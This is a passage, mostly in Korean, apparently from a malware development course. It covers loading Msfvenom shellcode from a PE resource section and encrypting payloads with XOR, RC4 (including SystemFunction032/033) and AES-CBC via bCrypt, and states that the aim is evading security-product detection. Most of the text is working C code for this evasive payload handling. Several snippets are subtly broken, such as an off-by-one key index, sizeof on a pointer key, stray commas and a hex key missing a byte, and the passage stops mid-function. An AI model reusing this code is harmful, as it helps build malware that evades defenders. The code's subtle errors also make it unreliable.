    		printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	// Printing pointer and size to the screen
    	printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
    	printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
    	printf("[#] Press <Enter> To Quit ...");
    	getchar();
    	return 0;
    }

    위의 코드를 컴파일하고 실행하면 페이로드 주소와 크기가 화면에 인쇄됩니다. 이 주소는 읽기 전용 메모리인 .rsrc 섹션에 있으며, 그 안에서 데이터를 변경하거나 편집하려고 시도하면 액세스 위반 오류가 발생한다는 점에 유의해야 합니다. 페이로드를 편집하려면 페이로드와 동일한 크기의 버퍼를 할당하고 복사해야 합니다. 이 새 버퍼에서 페이로드의 암호 해독과 같은 변경 작업을 수행할 수 있습니다.

    .rsrc 페이로드 업데이트

    페이로드는 리소스 섹션 내에서 직접 편집할 수 없으므로 임시 버퍼로 이동해야 합니다. 이를 위해 HeapAlloc을 사용하여 메모리에 페이로드의 크기를 할당하고 memcpy를 사용하여 리소스 섹션에서 임시 버퍼로 페이로드를 이동합니다.

    // HeapAlloc 호출을 사용하여 메모리 할당 PVOID pTmpBuffer = HeapAlloc(GetProcessHeap(), 0, sPayloadSize); if (pTmpBuffer != NULL){ // 리소스 섹션의 페이로드를 새 버퍼로 복사 memcpy(pTmpBuffer, pPayloadAddress, sPayloadSize); } // 버퍼의 기본 주소(pTmpBuffer) 출력 printf("[i] pTmpBuffer var : 0x%p \n", pTmpBuffer);

    이제 pTmpBuffer가 페이로드가 저장되어 있는 쓰기 가능한 메모리 영역을 가리키므로 페이로드를 해독하거나 업데이트를 수행할 수 있습니다.

    아래 이미지는 리소스 섹션에 저장된 Msfvenom 셸코드를 보여줍니다.

    실행을 진행하면 페이로드가 임시 버퍼에 저장됩니다.


    16. 페이로드 암호화 소개

    페이로드 암호화 소개

    페이로드 암호화

    멀웨어의 페이로드 암호화는 공격자가 악성 파일에 포함된 악성 코드를 숨기기 위해 사용하는 기술입니다. 공격자는 다양한 암호화 알고리즘을 사용하여 악성 코드를 숨기므로 보안 솔루션이 파일의 악성 활동을 탐지하기가 더 어려워집니다. 또한 암호화는 멀웨어가 사용자 시스템에서 더 오랜 기간 동안 숨겨져 탐지되지 않도록 도와줍니다. 멀웨어의 일부를 암호화하는 것은 최신 보안 솔루션에 대해 거의 항상 필요합니다.

    암호화 장단점

    암호화는 서명된 코드와 페이로드를 사용할 때 서명 기반 탐지를 회피하는 데 도움이 될 수 있지만, 런타임 및 휴리스틱 분석과 같은 다른 형태의 탐지에는 효과적이지 않을 수 있습니다.

    파일 내에서 암호화되는 데이터가 많을수록 엔트로피가 높아진다는 점에 유의해야 합니다. 엔트로피 점수가 높은 파일이 있으면 보안 솔루션이 해당 파일을 플래그 지정하거나 최소한 의심스러운 파일로 간주하여 추가 조사를 실시할 수 있습니다. 파일의 엔트로피를 낮추는 방법은 향후 모듈에서 다룰 예정입니다.

    암호화 유형

    곧 출시될 모듈은 멀웨어 개발에서 가장 널리 사용되는 세 가지 암호화 알고리즘을 살펴볼 예정입니다:

    • XOR
    • AES
    • RC4

    17. 페이로드 암호화 – XOR

    페이로드 암호화 – XOR

    소개

    XOR 암호화는 사용이 가장 간단하고 구현이 가장 가볍기 때문에 멀웨어에 널리 사용되는 암호화 방식입니다. AES 및 RC4보다 빠르며 추가 라이브러리나 Windows API를 사용할 필요가 없습니다. 또한 양방향 암호화 알고리즘으로 암호화와 복호화 모두에 동일한 기능을 사용할 수 있습니다.

    XOR 암호화

    아래 코드 스니펫은 기본적인 XOR 암호화 함수를 보여줍니다. 이 함수는 단순히 셸 코드의 각 바이트를 1바이트 키로 XOR합니다.

    /*
    	- pShellcode : Base address of the payload to encrypt
    	- sShellcodeSize : The size of the payload
    	- bKey : A single arbitrary byte representing the key for encrypting the payload
    */
    VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    	for (size_t i = 0; i < sShellcodeSize; i++){
    		pShellcode[i] = pShellcode[i] ^ bKey;
    	}
    }

    암호화 키 보안

    일부 도구와 보안 솔루션은 키를 무차별 대입하여 해독된 셸코드를 노출시킬 수 있습니다. 이러한 도구에서 키를 추측하는 과정을 더 어렵게 만들기 위해 아래 코드는 약간의 변경을 수행하여 i를 키의 일부로 만들어 키의 키 스페이스를 늘립니다. 이제 키 공간이 훨씬 커졌기 때문에 키를 무차별 대입하기가 더 어려워졌습니다.

    /*
    	- pShellcode : Base address of the payload to encrypt
    	- sShellcodeSize : The size of the payload
    	- bKey : A single arbitrary byte representing the key for encrypting the payload
    */
    VOID XorByiKeys(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
    	for (size_t i = 0; i < sShellcodeSize; i++) {
    		pShellcode[i] = pShellcode[i] ^ (bKey + i);
    	}
    }

    위의 코드 스니펫은 더 강화할 수 있습니다. 아래 코드 조각은 키를 사용하여 암호화 프로세스를 수행하며, 키의 모든 바이트를 반복적으로 사용하여 키를 해독하기 어렵게 만듭니다.

    /*
    	- pShellcode : Base address of the payload to encrypt
    	- sShellcodeSize : The size of the payload
    	- bKey : A random array of bytes of specific size
    	- sKeySize : The size of the key
    */
    VOID XorByInputKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
    	for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
    		if (j > sKeySize){
    			j = 0;
    		}
    		pShellcode[i] = pShellcode[i] ^ bKey[j];
    	}
    }

    결론

    문자열을 가리는 것과 같은 작은 작업에는 XOR 암호화를 사용하는 것이 좋습니다. 그러나 페이로드가 큰 작업의 경우 AES와 같은 보다 안전한 암호화 방법을 사용하는 것이 좋습니다.


    18. 페이로드 암호화 – RC4

    페이로드 암호화 – RC4

    소개

    RC4는 빠르고 효율적인 스트림 사이퍼로, 동일한 기능을 암호화와 복호화에 모두 사용할 수 있는 양방향 암호화 알고리즘이기도 합니다. RC4의 C 구현은 여러 가지가 공개되어 있지만 이 모듈에서는 RC4 암호화를 수행하는 세 가지 방법을 시연합니다.

    RC4 알고리즘의 작동 방식을 자세히 알아보는 것은 이 모듈의 목표가 아니며, 이 알고리즘을 완전히 이해할 필요도 없습니다. 오히려 페이로드를 암호화하여 탐지를 피하는 것이 목표입니다.

    RC4 암호화 – 방법 1

    이 방법은 안정적이고 코드가 잘 작성되어 있어 여기에 있는 RC4 구현을 사용합니다. rc4Context 구조를 초기화하고 RC4 암호화를 수행하는 데 각각 사용되는 두 가지 함수인 rc4Init과 rc4Cipher가 있습니다.

    typedef struct
    {
    	unsigned int i;
    	unsigned int j;
    	unsigned char s[256];
    
    } Rc4Context;
    
    
    void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
    {
    	unsigned int i;
    	unsigned int j;
    	unsigned char temp;
    
    	// Check parameters
    	if (context == NULL || key == NULL)
    		return ERROR_INVALID_PARAMETER;
    
    	// Clear context
    	context->i = 0;
    	context->j = 0;
    
    	// Initialize the S array with identity permutation
    	for (i = 0; i < 256; i++)
    	{
    		context->s[i] = i;
    	}
    
    	// S is then processed for 256 iterations
    	for (i = 0, j = 0; i < 256; i++)
    	{
    		//Randomize the permutations using the supplied key
    		j = (j + context->s[i] + key[i % length]) % 256;
    
    		//Swap the values of S[i] and S[j]
    		temp = context->s[i];
    		context->s[i] = context->s[j];
    		context->s[j] = temp;
    	}
    
    }
    
    
    void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length){
    	unsigned char temp;
    
    	// Restore context
    	unsigned int i = context->i;
    	unsigned int j = context->j;
    	unsigned char* s = context->s;
    
    	// Encryption loop
    	while (length > 0)
    	{
    		// Adjust indices
    		i = (i + 1) % 256;
    		j = (j + s[i]) % 256;
    
    		// Swap the values of S[i] and S[j]
    		temp = s[i];
    		s[i] = s[j];
    		s[j] = temp;
    
    		// Valid input and output?
    		if (input != NULL && output != NULL)
    		{
    			//XOR the input data with the RC4 stream
    			*output = *input ^ s[(s[i] + s[j]) % 256];
    
    			//Increment data pointers
    			input++;
    			output++;
    		}
    
    		// Remaining bytes to process
    		length--;
    	}
    
    	// Save context
    	context->i = i;
    	context->j = j;
    }
    

    RC4 암호화

    아래 코드는 페이로드를 암호화하기 위해 rc4Init 및 rc4Cipher 함수를 사용하는 방법을 보여줍니다.

    	// Initialization
    	Rc4Context ctx = { 0 };
    
    	// Key used for encryption
    	unsigned char* key = "maldev123";
    	rc4Init(&ctx, key, sizeof(key));
    
    	// Encryption //
    	// plaintext - The payload to be encrypted
    	// ciphertext - A buffer that is used to store the outputted encrypted data
    	rc4Cipher(&ctx, plaintext, ciphertext, sizeof(plaintext));

    RC4 복호화

    아래 코드는 페이로드를 복호화하기 위해 rc4Init 및 rc4Cipher 함수를 사용하는 방법을 보여줍니다.

    	// Initialization
    	Rc4Context ctx = { 0 };
    
    	// Key used to decrypt
    	unsigned char* key = "maldev123";
    	rc4Init(&ctx, key, sizeof(key));
    
    	// Decryption //
    	// ciphertext - Encrypted payload to be decrypted
    	// plaintext - A buffer that is used to store the outputted plaintext data
    	rc4Cipher(&ctx, ciphertext, plaintext, sizeof(ciphertext));

    RC4 암호화 – 방법 2

    문서화되지 않은 Windows NTAPI SystemFunction032는 RC4 알고리즘의 더 빠르고 작은 구현을 제공합니다. 이 API에 대한 추가 정보는 이 Wine API 페이지에서 확인할 수 있습니다.

    SystemFunction032

    문서 페이지에 따르면 SystemFunction032 함수는 USTRING 유형의 매개변수 두 개를 허용한다고 나와 있습니다.

     NTSTATUS SystemFunction032
     (
      struct ustring*       data,
      const struct ustring* key
     )

    USTRING 구조

    안타깝게도 문서화되지 않은 API이기 때문에 USTRING의 구조는 알 수 없습니다. 하지만 추가 연구를 통해 와인/crypt.h에서 USTRING 구조 정의를 찾을 수 있습니다. 구조는 아래와 같습니다.

    typedef struct
    {
    	DWORD	Length;         // Size of the data to encrypt/decrypt
    	DWORD	MaximumLength;  // Max size of the data to encrypt/decrypt, although often its the same as Length (USTRING.Length = USTRING.MaximumLength = X)
    	PVOID	Buffer;         // The base address of the data to encrypt/decrypt
    
    } USTRING;

    이제 USTRING 구조체를 알았으므로 SystemFunction032 함수를 사용할 수 있습니다.

    SystemFunction032의 주소 검색하기

    SystemFunction032를 사용하려면 먼저 해당 주소를 검색해야 합니다. SystemFunction032는 advapi32.dll에서 내보낸 것이므로 LoadLibrary를 사용하여 DLL을 프로세스에 로드해야 합니다. 함수 호출의 반환 값은 GetProcAddress에서 직접 사용할 수 있습니다.

    SystemFunction032의 주소가 성공적으로 검색되면 이전에 참조한 Wine API 페이지에서 찾은 정의와 일치하는 함수 포인터로 타입 캐스팅해야 합니다. 그러나 반환된 주소는 GetProcAddress에서 직접 형변환할 수 있습니다. 아래 스니펫에 이 모든 것이 설명되어 있습니다.

    fnSystemFunction032 SystemFunction032 = (fnSystemFunction032) GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

    SystemFunction032의 함수 포인터는 아래와 같이 fnSystemFunction032 데이터 유형으로 정의됩니다.

    typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    	struct USTRING* Data,   // Structure of type USTRING that holds information about the buffer to encrypt / decrypt
    	struct USTRING* Key     // Structure of type USTRING that holds information about the key used while encryption / decryption
    );

    SystemFunction032 사용법

    아래 스니펫은 RC4 암호화 및 복호화를 수행하기 위해 SystemFunction032 함수를 활용하는 작업 코드 샘플을 제공합니다.

    typedef struct
    {
    	DWORD	Length;
    	DWORD	MaximumLength;
    	PVOID	Buffer;
    
    } USTRING;
    
    typedef NTSTATUS(NTAPI* fnSystemFunction032)(
    	struct USTRING* Data,
    	struct USTRING* Key
    );
    
    /*
    Helper function that calls SystemFunction032
    * pRc4Key - The RC4 key use to encrypt/decrypt
    * pPayloadData - The base address of the buffer to encrypt/decrypt
    * dwRc4KeySize - Size of pRc4key (Param 1)
    * sPayloadSize - Size of pPayloadData (Param 2)
    */
    BOOL Rc4EncryptionViaSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
    
    	NTSTATUS STATUS	= NULL;
    
    	USTRING Data = {
    		.Buffer         = pPayloadData,
    		.Length         = sPayloadSize,
    		.MaximumLength  = sPayloadSize
    	};
    
    	USTRING	Key = {
    		.Buffer         = pRc4Key,
    		.Length         = dwRc4KeySize,
    		.MaximumLength  = dwRc4KeySize
    	},
    
    	fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
    
    	if ((STATUS = SystemFunction032(&Data, &Key)) != 0x0) {
    		printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	return TRUE;
    }

    RC4 암호화 – 방법 3

    RC4 알고리즘을 구현하는 또 다른 방법은 앞서 설명한 SystemFunction032 함수와 동일한 파라미터를 사용하는 SystemFunction033을 사용하는 것입니다.

    typedef struct
    {
    	DWORD	Length;
    	DWORD	MaximumLength;
    	PVOID	Buffer;
    
    } USTRING;
    
    
    typedef NTSTATUS(NTAPI* fnSystemFunction033)(
    	struct USTRING* Data,
    	struct USTRING* Key
    	);
    
    
    /*
    Helper function that calls SystemFunction033
    * pRc4Key - The RC4 key use to encrypt/decrypt
    * pPayloadData - The base address of the buffer to encrypt/decrypt
    * dwRc4KeySize - Size of pRc4key (Param 1)
    * sPayloadSize - Size of pPayloadData (Param 2)
    */
    BOOL Rc4EncryptionViSystemFunc033(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
    
    	NTSTATUS	STATUS = NULL;
    
    	USTRING		Key = {
    			.Buffer        = pRc4Key,
    			.Length        = dwRc4KeySize,
    			.MaximumLength = dwRc4KeySize
    	};
    
    	USTRING 	Data = {
    			.Buffer         = pPayloadData,
    			.Length         = sPayloadSize,
    			.MaximumLength  = sPayloadSize
    	};
    
    	fnSystemFunction033 SystemFunction033 = (fnSystemFunction033)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction033");
    
    	if ((STATUS = SystemFunction033(&Data, &Key)) != 0x0) {
    		printf("[!] SystemFunction033 FAILED With Error: 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	return TRUE;
    }
    

    암호화/복호화 키 형식

    이 모듈과 다른 암호화 모듈의 코드 조각은 암호화/복호화 키를 표현하는 한 가지 유효한 방법을 사용합니다. 그러나 키는 여러 가지 다른 방법으로 표현될 수 있다는 점을 알아두는 것이 중요합니다.

    일반 텍스트 키를 바이너리에 하드코딩하는 것은 나쁜 습관으로 간주되며, 멀웨어를 분석할 때 쉽게 추출될 수 있다는 점에 유의하세요. 향후 모듈에서는 키를 쉽게 검색할 수 없도록 하는 솔루션이 제공될 예정입니다.

    // Method 1
    unsigned char* key = "maldev123";
    
    // Method 2
    // This is 'maldev123' represented as an array of hexadecimal bytes
    unsigned char key[] = {
    	0x6D, 0x61, 0x6C, 0x64, 0x65, 0x76, 0x31, 0x32, 0x33
    };
    
    // Method 3
    // This is 'maldev123' represented in a hex/string form (hexadecimal escape sequence)
    unsigned char* key = "\x6D\x61\x64\x65\x76\x31\x32\x33";
    
    // Method 4 - better approach (via stack strings)
    // This is 'maldev123' represented in an array of chars
    unsigned char key[] = {
    	'm', 'a', 'l', 'd', 'e', 'v', '1', '2', '3'
    };

    19. 페이로드 암호화 – AES 암호화

    페이로드 암호화 – AES 암호화

    고급 암호화 표준

    이 모듈에서는 보다 안전한 암호화 알고리즘인 고급 암호화 표준(AES)에 대해 설명합니다. 이는 대칭 키 알고리즘으로, 암호화와 복호화 모두에 동일한 키가 사용된다는 의미입니다. AES 암호화에는 키 크기에 따라 AES128, AES192, AES256 등 여러 가지 유형이 있습니다. 예를 들어, AES128은 128비트 키를 사용하는 반면, AES256은 256비트 키를 사용합니다.

    또한 AES는 CBC 및 GCM과 같은 다양한 블록 사이퍼 작동 모드를 사용할 수 있습니다. AES 모드에 따라 AES 알고리즘은 암호화 키와 함께 초기화 벡터 또는 IV라는 추가 구성 요소가 필요합니다. IV를 제공하면 암호화 프로세스에 추가적인 보안 계층이 제공됩니다.

    선택한 AES 유형에 관계없이 AES는 항상 128비트 입력이 필요하며 128비트 출력 블록을 생성합니다. 명심해야 할 중요한 점은 입력 데이터는 16바이트(128비트)의 배수여야 한다는 것입니다. 암호화할 페이로드가 16바이트의 배수가 아닌 경우 페이로드의 크기를 늘려서 16바이트의 배수가 되도록 패딩을 적용해야 합니다.

    이 모듈은 AES256-CBC를 사용하는 2개의 코드 샘플을 제공합니다. 첫 번째 샘플은 WinAPI를 활용하는 bCrypt 라이브러리를 통해 구현되며, 두 번째 샘플은 Tiny Aes Project를 사용합니다. AES256-CBC를 사용하므로 코드에서는 32바이트 키와 16바이트 IV를 사용합니다. 다시 말하지만, 코드가 다른 AES 유형이나 모드를 사용하는 경우에는 달라질 수 있습니다.

    WinAPI를 사용하는 AES(bCrypt 라이브러리)

    AES 암호화 알고리즘을 구현하는 방법에는 여러 가지가 있습니다. 이 섹션에서는 bCrypt 라이브러리(bcrypt.h)를 사용하여 AES 암호화를 수행합니다. 이 섹션에서는 모듈 상자의 오른쪽 상단에서 평소와 같이 다운로드할 수 있는 코드를 설명합니다.

    AES 구조

    먼저 암호화 및 암호 해독을 수행하는 데 필요한 데이터가 포함된 AES 구조가 생성됩니다.

    typedef struct _AES {
    
    	PBYTE	pPlainText;         // base address of the plain text data
    	DWORD	dwPlainSize;        // size of the plain text data
    
    	PBYTE	pCipherText;        // base address of the encrypted data
    	DWORD	dwCipherSize;       // size of it (this can change from dwPlainSize in case there was padding)
    
    	PBYTE	pKey;               // the 32 byte key
    	PBYTE	pIv;                // the 16 byte iv
    
    } AES, *PAES;

    SimpleEncryption 래퍼

    SimpleEncryption 함수에는 AES 구조를 초기화하는 데 사용되는 6개의 매개변수가 있습니다. 구조가 초기화되면 함수는 InstallAesEncryption을 호출하여 AES 암호화 프로세스를 수행합니다. 이 함수의 매개변수 중 두 개는 OUT 매개변수이므로 이 함수는 다음을 반환합니다:

    • pCipherTextData – 암호화 텍스트 데이터가 포함된 새로 할당된 힙 버퍼에 대한 포인터입니다.
    • sCipherTextSize – 암호문 버퍼의 크기입니다.

    이 함수는 InstallAesEncryption이 성공하면 TRUE를 반환하고, 그렇지 않으면 FALSE를 반환합니다.

    // Wrapper function for InstallAesEncryption that makes things easier
    BOOL SimpleEncryption(IN PVOID pPlainTextData, IN DWORD sPlainTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pCipherTextData, OUT DWORD* sCipherTextSize) {
    
    	if (pPlainTextData == NULL || sPlainTextSize == NULL || pKey == NULL || pIv == NULL)
    		return FALSE;
    
    	// Intializing the struct
    	AES Aes = {
    		.pKey        = pKey,
    		.pIv         = pIv,
    		.pPlainText  = pPlainTextData,
    		.dwPlainSize = sPlainTextSize
    	};
    
    	if (!InstallAesEncryption(&Aes)) {
    		return FALSE;
    	}
    
    	// Saving output
    	*pCipherTextData = Aes.pCipherText;
    	*sCipherTextSize = Aes.dwCipherSize;
    
    	return TRUE;
    }
    }

    SimpleDecryption 래퍼

    SimpleDecryption 함수는 6개의 매개변수를 가지며 SimpleEncryption과 유사하게 작동하지만, InstallAesDecryption 함수를 호출하고 두 개의 서로 다른 값을 반환한다는 차이점이 있습니다.

    • pPlainTextData – 일반 텍스트 데이터가 포함된 새로 할당된 힙 버퍼에 대한 포인터입니다.
    • sPlainTextSize – 일반 텍스트 버퍼의 크기입니다.

    이 함수는 InstallAesDecryption이 성공하면 TRUE를 반환하고, 그렇지 않으면 FALSE를 반환합니다.

    // Wrapper function for InstallAesDecryption that make things easier
    BOOL SimpleDecryption(IN PVOID pCipherTextData, IN DWORD sCipherTextSize, IN PBYTE pKey, IN PBYTE pIv, OUT PVOID* pPlainTextData, OUT DWORD* sPlainTextSize) {
    
    	if (pCipherTextData == NULL || sCipherTextSize == NULL || pKey == NULL || pIv == NULL)
    		return FALSE;
    
    	// Intializing the struct
    	AES Aes = {
    		.pKey          = pKey,
    		.pIv           = pIv,
    		.pCipherText   = pCipherTextData,
    		.dwCipherSize  = sCipherTextSize
    	};
    
    	if (!InstallAesDecryption(&Aes)) {
    		return FALSE;
    	}
    
    	// Saving output
    	*pPlainTextData = Aes.pPlainText;
    	*sPlainTextSize = Aes.dwPlainSize;
    
    	return TRUE;
    }

    차세대 암호화

    CNG(차세대 암호화)는 OS의 애플리케이션에서 사용할 수 있는 일련의 암호화 기능을 제공합니다. CNG는 암호화 작업을 위한 표준화된 인터페이스를 제공하므로 개발자가 애플리케이션에 보안 기능을 쉽게 구현할 수 있습니다. InstallAesEncryption과 InstallAesDecryption 함수는 모두 CNG를 사용합니다.

    CNG에 대한 자세한 내용은 여기에서 확인할 수 있습니다.

    설치Aes 암호화 함수

    InstallAesEncryption은 AES 암호화를 수행하는 함수입니다. 이 함수에는 채워진 AES 구조에 대한 포인터인 PAES라는 매개변수가 하나 있습니다. 이 함수에 사용되는 bCrypt 라이브러리 함수는 다음과 같습니다.

    • BCryptOpenAlgorithmProvider – 암호화 함수를 사용할 수 있도록 BCRYPT_AES_ALGORITHM 차세대 암호화(CNG) 공급자를 로드하는 데 사용됩니다.
    • BCryptGetProperty – 이 함수는 두 번 호출되며, 첫 번째는 BCRYPT_OBJECT_LENGTH 값을 검색하고 두 번째는 BCRYPT_BLOCK_LENGTH 속성 식별자 값을 가져옵니다.
    • BCryptSetProperty – BCRYPT_OBJECT_LENGTH 속성 식별자를 초기화하는 데 사용됩니다.
    • BCryptGenerateSymmetricKey – 지정된 입력 AES 키로 키 개체를 생성하는 데 사용됩니다.
    • BCryptEncrypt – 지정된 데이터 블록을 암호화하는 데 사용됩니다. 이 함수는 두 번 호출되며, 첫 번째 호출은 암호화된 데이터의 크기를 검색하여 해당 크기의 힙 버퍼를 할당합니다. 두 번째 호출은 데이터를 암호화하고 할당된 힙에 암호문을 저장합니다.
    • BCryptDestroyKey – BCryptGenerateSymmetricKey를 사용하여 생성된 키 개체를 삭제하여 정리하는 데 사용됩니다.
    • BCryptCloseAlgorithmProvider – BCryptOpenAlgorithmProvider를 사용하여 이전에 생성한 알고리즘 공급자의 객체 핸들을 닫아 정리하는 데 사용됩니다.

    이 함수는 페이로드를 성공적으로 암호화하면 TRUE를 반환하고, 그렇지 않으면 FALSE를 반환합니다.

    // The encryption implementation
    BOOL InstallAesEncryption(PAES pAes) {
    
      BOOL                  bSTATE           = TRUE;
      BCRYPT_ALG_HANDLE     hAlgorithm       = NULL;
      BCRYPT_KEY_HANDLE     hKeyHandle       = NULL;
    
      ULONG       		cbResult         = NULL;
      DWORD       		dwBlockSize      = NULL;
    
      DWORD       		cbKeyObject      = NULL;
      PBYTE       		pbKeyObject      = NULL;
    
      PBYTE      		pbCipherText     = NULL;
      DWORD       		cbCipherText     = NULL,
    
    
      // Intializing "hAlgorithm" as AES algorithm Handle
      STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
      STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Getting the size of the block used in the encryption. Since this is AES it must be 16 bytes.
      STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
      if (!NT_SUCCESS(STATUS)) {
       	printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Checking if block size is 16 bytes
      if (dwBlockSize != 16) {
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Allocating memory for the key object
      pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
      if (pbKeyObject == NULL) {
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
      STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject and will be of size cbKeyObject
      STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Running BCryptEncrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbCipherText
      STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptEncrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Allocating enough memory for the output buffer, cbCipherText
      pbCipherText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbCipherText);
      if (pbCipherText == NULL) {
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Running BCryptEncrypt again with pbCipherText as the output buffer
      STATUS = BCryptEncrypt(hKeyHandle, (PUCHAR)pAes->pPlainText, (ULONG)pAes->dwPlainSize, NULL, pAes->pIv, IVSIZE, pbCipherText, cbCipherText, &cbResult, BCRYPT_BLOCK_PADDING);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptEncrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
    
      // Clean up
    _EndOfFunc:
      if (hKeyHandle)
        	BCryptDestroyKey(hKeyHandle);
      if (hAlgorithm)
        	BCryptCloseAlgorithmProvider(hAlgorithm, 0);
      if (pbKeyObject)
        	HeapFree(GetProcessHeap(), 0, pbKeyObject);
      if (pbCipherText != NULL && bSTATE) {
            // If everything worked, save pbCipherText and cbCipherText
            pAes->pCipherText 	= pbCipherText;
            pAes->dwCipherSize 	= cbCipherText;
      }
      return bSTATE;
    }

    설치Aes복호화 함수

    InstallAesDecryption은 AES 암호 해독을 수행하는 함수입니다. 이 함수에는 채워진 AES 구조체에 대한 포인터인 PAES라는 매개변수가 하나 있습니다. 이 함수에 사용되는 bCrypt 라이브러리 함수는 위의 InstallAesEncryption 함수와 동일하며, BCryptEncrypt 대신 BCryptDecrypt가 사용된다는 점만 다릅니다.

    • BCryptDecrypt – 지정된 데이터 블록을 해독하는 데 사용됩니다. 이 함수는 두 번 호출되며, 첫 번째 호출은 해독된 데이터의 크기를 검색하여 해당 크기의 힙 버퍼를 할당합니다. 두 번째 호출은 데이터를 복호화하여 할당된 힙에 일반 텍스트 데이터를 저장합니다.

    이 함수는 페이로드를 성공적으로 복호화하면 TRUE를 반환하고, 그렇지 않으면 FALSE를 반환합니다.

    // The decryption implementation
    BOOL InstallAesDecryption(PAES pAes) {
    
      BOOL                  bSTATE          = TRUE;
      BCRYPT_ALG_HANDLE     hAlgorithm      = NULL;
      BCRYPT_KEY_HANDLE     hKeyHandle      = NULL;
    
      ULONG                 cbResult        = NULL;
      DWORD                 dwBlockSize     = NULL;
    
      DWORD                 cbKeyObject     = NULL;
      PBYTE                 pbKeyObject     = NULL;
    
      PBYTE                 pbPlainText     = NULL;
      DWORD                 cbPlainText     = NULL,
    
      // Intializing "hAlgorithm" as AES algorithm Handle
      STATUS = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Getting the size of the key object variable pbKeyObject. This is used by the BCryptGenerateSymmetricKey function later
      STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptGetProperty[1] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Getting the size of the block used in the encryption. Since this is AES it should be 16 bytes.
      STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
      if (!NT_SUCCESS(STATUS)) {
        	printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
        	bSTATE = FALSE; goto _EndOfFunc;
      }
    
      // Checking if block size is 16 bytes
      if (dwBlockSize != 16) {
